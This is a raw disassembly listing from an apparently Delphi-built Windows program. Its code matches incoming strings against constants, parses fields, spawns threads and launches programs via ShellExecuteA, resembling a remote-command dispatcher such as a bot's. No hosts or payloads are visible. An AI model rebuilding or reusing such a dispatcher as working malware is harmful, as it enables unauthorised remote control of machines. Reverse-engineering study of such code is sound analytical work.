mov eax, dword [ebp - 0x1c]
call fcn.00405a44
mov edx, dword [ebp - 0x1c]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 0x1c]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 0x1c]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x1c]
call fcn.00405a44
mov edx, dword [ebp - 0x1c]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 0x1c]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 0x1c]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x1c]
call fcn.00405a44
mov edx, dword [ebp - 0x1c]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 0x1c]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
call fcn.004055c8
push 0x10
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov dword [ebp - 0x1a4], eax
mov eax, dword [ebp - 0x1a4]
mov edi, eax
mov eax, edi
mov edx, dword [ebp - 0xc]
call fcn.00405584
lea eax, [edi + 4]
mov edx, dword [ebp - 0x10]
call fcn.00405584
lea eax, [edi + 8]
mov edx, dword [ebp - 0x14]
call fcn.00405584
lea eax, [edi + 0xc]
mov edx, dword [ebp - 0x18]
call fcn.00405584
lea eax, [ebp - 4]
push eax
push 0
mov eax, dword [ebp - 0x1a4]
push eax
push 0x474b58
push 0
push 0
call sub.kernel32.dll_CreateThread_1
push eax
call sub.kernel32.dll_CloseHandle_1
inc esi
dec ebx
jne 0x478c54
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x478db1
mov eax, dword [ebp - 0x1a8]
call fcn.00404650
ret
lea eax, [ebp - 0x558]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x558]
mov edx, 0x47cec8
call fcn.00405974
jne 0x478ea1
lea eax, [ebp - 8]
mov ecx, 0xd
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
push 0x10
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov dword [ebp - 0x1a4], eax
mov eax, dword [ebp - 0x1a4]
mov ebx, eax
mov eax, ebx
mov edx, dword [ebp - 0xc]
call fcn.00405584
lea eax, [ebx + 4]
mov edx, dword [ebp - 0x10]
call fcn.00405584
lea eax, [ebx + 8]
mov edx, 0x47c36c
call fcn.00405584
lea eax, [ebx + 0xc]
mov edx, 0x47cbb4
call fcn.00405584
lea eax, [ebp - 4]
push eax
push 0
mov eax, dword [ebp - 0x1a4]
push eax
push 0x474b58
push 0
push 0
call sub.kernel32.dll_CreateThread_1
push eax
call sub.kernel32.dll_CloseHandle_1
lea eax, [ebp - 0x55c]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x55c]
mov edx, 0x47cee0
call fcn.00405974
jne 0x478f40
lea eax, [ebp - 8]
mov ecx, 9
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x560]
call fcn.004881f8
lea eax, [ebp - 0x560]
mov edx, 0x47cef4
call fcn.00405818
mov edx, dword [ebp - 0x560]
mov eax, dword [ebp - 8]
call fcn.004891a0
push 0
push 0
push 0
lea eax, [ebp - 0x564]
call fcn.004881f8
lea eax, [ebp - 0x564]
mov edx, 0x47cef4
call fcn.00405818
mov eax, dword [ebp - 0x564]
call fcn.004059dc
push eax
push 0x47cf04
push 0
call sub.shell32.dll_ShellExecuteA
mov eax, dword [ebp - 8]
mov edx, 0x47cf14
call fcn.00405974
jne 0x478fd3
lea eax, [ebp - 0x568]
call fcn.0046afd4
cmp dword [ebp - 0x568], 0
je 0x478f93
lea eax, [ebp - 0x570]
call fcn.0046afd4
mov ecx, dword [ebp - 0x570]
lea eax, [ebp - 0x56c]
mov edx, 0x47cf30
call fcn.00405864
mov eax, dword [ebp - 0x56c]
call fcn.00474d1c
lea eax, [ebp - 0x574]
call fcn.0046b000
cmp dword [ebp - 0x574], 0
je 0x478fd3
lea eax, [ebp - 0x57c]
call fcn.0046b000
mov ecx, dword [ebp - 0x57c]
lea eax, [ebp - 0x578]
mov edx, 0x47cf44
call fcn.00405864
mov eax, dword [ebp - 0x578]
call fcn.00474d1c
mov eax, dword [ebp - 8]
mov edx, 0x47cf58
call fcn.00405974
jne 0x47900e
lea eax, [ebp - 0x584]
call fcn.0046afd4
mov ecx, dword [ebp - 0x584]
lea eax, [ebp - 0x580]
mov edx, 0x47cf74
call fcn.00405864
mov eax, dword [ebp - 0x580]
call fcn.00474d1c
lea eax, [ebp - 0x588]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x588]
mov edx, 0x47cf88
call fcn.00405974
jne 0x479087
lea eax, [ebp - 8]
mov ecx, 9
mov edx, 1
call fcn.00405a84
movzx eax, byte [0x47c334]
push eax
lea eax, [ebp - 0x58c]
push eax
mov ecx, 0x47cf9c
mov edx, 0x47cfa8
mov eax, dword [ebp - 8]
call fcn.0040ef34
mov edx, dword [ebp - 0x58c]
lea eax, [ebp - 8]
call fcn.004055c8
call fcn.004319ec
mov edx, dword [ebp - 8]
call fcn.00431574
mov eax, dword [ebp - 8]
mov edx, 0x47cfb4
call fcn.00405974
jne 0x4790a0
call fcn.004319ec
mov edx, dword [eax]
call dword [edx + 0x10]
lea eax, [ebp - 0x590]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x590]
mov edx, 0x47cfc4
call fcn.00405974
jne 0x479184
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea eax, [ebp - 0x594]
call fcn.0046b198
mov eax, dword [ebp - 0x594]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00474ec8
pop ecx
mov eax, dword [ebp - 8]
mov edx, 0x47cfd8
call fcn.00405974
jne 0x479217
push 0
call sub.ole32.dll_CoInitialize
xor eax, eax
push ebp
push 0x479210
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x59c]
call fcn.00464ef4
mov eax, dword [ebp - 0x59c]
lea edx, [ebp - 0x598]
call fcn.00409b6c
cmp dword [ebp - 0x598], 0
je 0x4791fd
lea eax, [ebp - 0x5a4]
call fcn.00464ef4
mov ecx, dword [ebp - 0x5a4]
lea eax, [ebp - 0x5a0]
mov edx, 0x47cfe8
call fcn.00405864
mov eax, dword [ebp - 0x5a0]
call fcn.00474d1c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x479217
call sub.ole32.dll_CoUninitialize
ret
lea eax, [ebp - 0x5a8]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x5a8]
mov edx, 0x47cffc
call fcn.00405974
jne 0x4792fb
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea eax, [ebp - 0x5ac]
call fcn.0048925c
mov eax, dword [ebp - 0x5ac]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00474ec8
pop ecx
mov eax, dword [ebp - 8]
mov edx, 0x47d014
call fcn.00405974
jne 0x47930f
call fcn.00468094
mov eax, dword [ebp - 8]
mov edx, 0x47d028
call fcn.00405974
jne 0x479323
call fcn.004680b8
mov eax, dword [ebp - 8]
mov edx, 0x47d03c
call fcn.00405974
jne 0x479337
call fcn.00467ebc
mov eax, dword [ebp - 8]
mov edx, 0x47d050
call fcn.00405974
jne 0x47934b
call fcn.00467f20
mov eax, dword [ebp - 8]
mov edx, 0x47d064
call fcn.00405974
jne 0x47935f
call fcn.00467f84
mov eax, dword [ebp - 8]
mov edx, 0x47d080
call fcn.00405974
jne 0x479373
call fcn.00467fc8
mov eax, dword [ebp - 8]
mov edx, 0x47d09c
call fcn.00405974
jne 0x479387
call fcn.0046800c
mov eax, dword [ebp - 8]
mov edx, 0x47d0b8
call fcn.00405974
jne 0x47939b
call fcn.00468050
mov eax, dword [ebp - 8]
mov edx, 0x47d0d4
call fcn.00405974
jne 0x4793af
call fcn.0046b50c
mov eax, dword [ebp - 8]
mov edx, 0x47d0e8
call fcn.00405974
jne 0x4793c3
call fcn.0046b4e4
mov eax, dword [ebp - 8]
mov edx, 0x47d0fc
call fcn.00405974
jne 0x4793d9
xor eax, eax
call fcn.0046b55c
mov eax, dword [ebp - 8]
mov edx, 0x47d114
call fcn.00405974
jne 0x4793ef
mov al, 1
call fcn.0046b55c
mov eax, dword [ebp - 8]
mov edx, 0x47d12c
call fcn.00405974
jne 0x479405
xor eax, eax
call fcn.0046b47c
mov eax, dword [ebp - 8]
mov edx, 0x47d148
call fcn.00405974
jne 0x47941b
mov al, 1
call fcn.0046b47c
mov eax, dword [ebp - 8]
mov edx, 0x47d164
call fcn.00405974
jne 0x479431
mov al, 1
call fcn.0046b340
mov eax, dword [ebp - 8]
mov edx, 0x47d180
call fcn.00405974
jne 0x479447
xor eax, eax
call fcn.0046b340
mov eax, dword [ebp - 8]
mov edx, 0x47d19c
call fcn.00405974
jne 0x47945b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47c2c8
lea eax, [ebp - 0x7a8]
mov edx, 0x26
call fcn.00405554
lea eax, [ebp - 0x710]
call fcn.0040700c
lea eax, [ebp - 0x70c]
mov edx, 0x3d
call fcn.00405554
lea eax, [ebp - 0x618]
mov edx, 0x5d
call fcn.00405554
lea eax, [ebp - 0x4a4]
call fcn.0040700c
lea eax, [ebp - 0x4a0]
call fcn.00405d28
lea eax, [ebp - 0x49c]
call fcn.0040700c
lea eax, [ebp - 0x498]
call fcn.00405d28
lea eax, [ebp - 0x494]
call fcn.0040700c
lea eax, [ebp - 0x490]
call fcn.00405d28
lea eax, [ebp - 0x488]
call fcn.00405d28
lea eax, [ebp - 0x48c]
call fcn.0040700c
lea eax, [ebp - 0x484]
call fcn.0040700c
lea eax, [ebp - 0x480]
call fcn.00405d28
lea eax, [ebp - 0x47c]
mov edx, dword [0x45e9a0]
mov ecx, 5
call fcn.004060f8
lea eax, [ebp - 0x468]
mov edx, 0x37
call fcn.00405554
lea eax, [ebp - 0x384]
mov edx, 0x25
call fcn.00405554
lea eax, [ebp - 0x2f0]
mov edx, 0x3a
call fcn.00405554
lea eax, [ebp - 0x198]
mov edx, dword [0x408b18]
call fcn.004060ac
lea eax, [ebp - 0x38]
call fcn.00411640
lea eax, [ebp - 0x28]
mov edx, 9
call fcn.00405554
ret